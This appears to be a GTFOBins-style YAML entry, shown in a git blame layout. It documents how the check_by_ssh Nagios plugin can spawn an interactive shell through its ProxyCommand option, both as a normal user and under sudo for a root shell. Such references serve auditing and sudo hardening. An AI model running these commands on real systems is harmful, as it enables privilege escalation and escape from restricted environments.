2020-11-12 13:21:00 +00:00
|
|
|
---
|
|
|
|
description: |
|
|
|
|
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
|
|
|
functions:
|
2020-12-20 18:32:15 +00:00
|
|
|
shell:
|
|
|
|
- description: The shell will only last 10 seconds.
|
|
|
|
code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
2020-11-12 13:21:00 +00:00
|
|
|
sudo:
|
2020-12-20 18:32:15 +00:00
|
|
|
- description: The shell will only last 10 seconds.
|
|
|
|
code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
2020-11-12 13:21:00 +00:00
|
|
|
---
|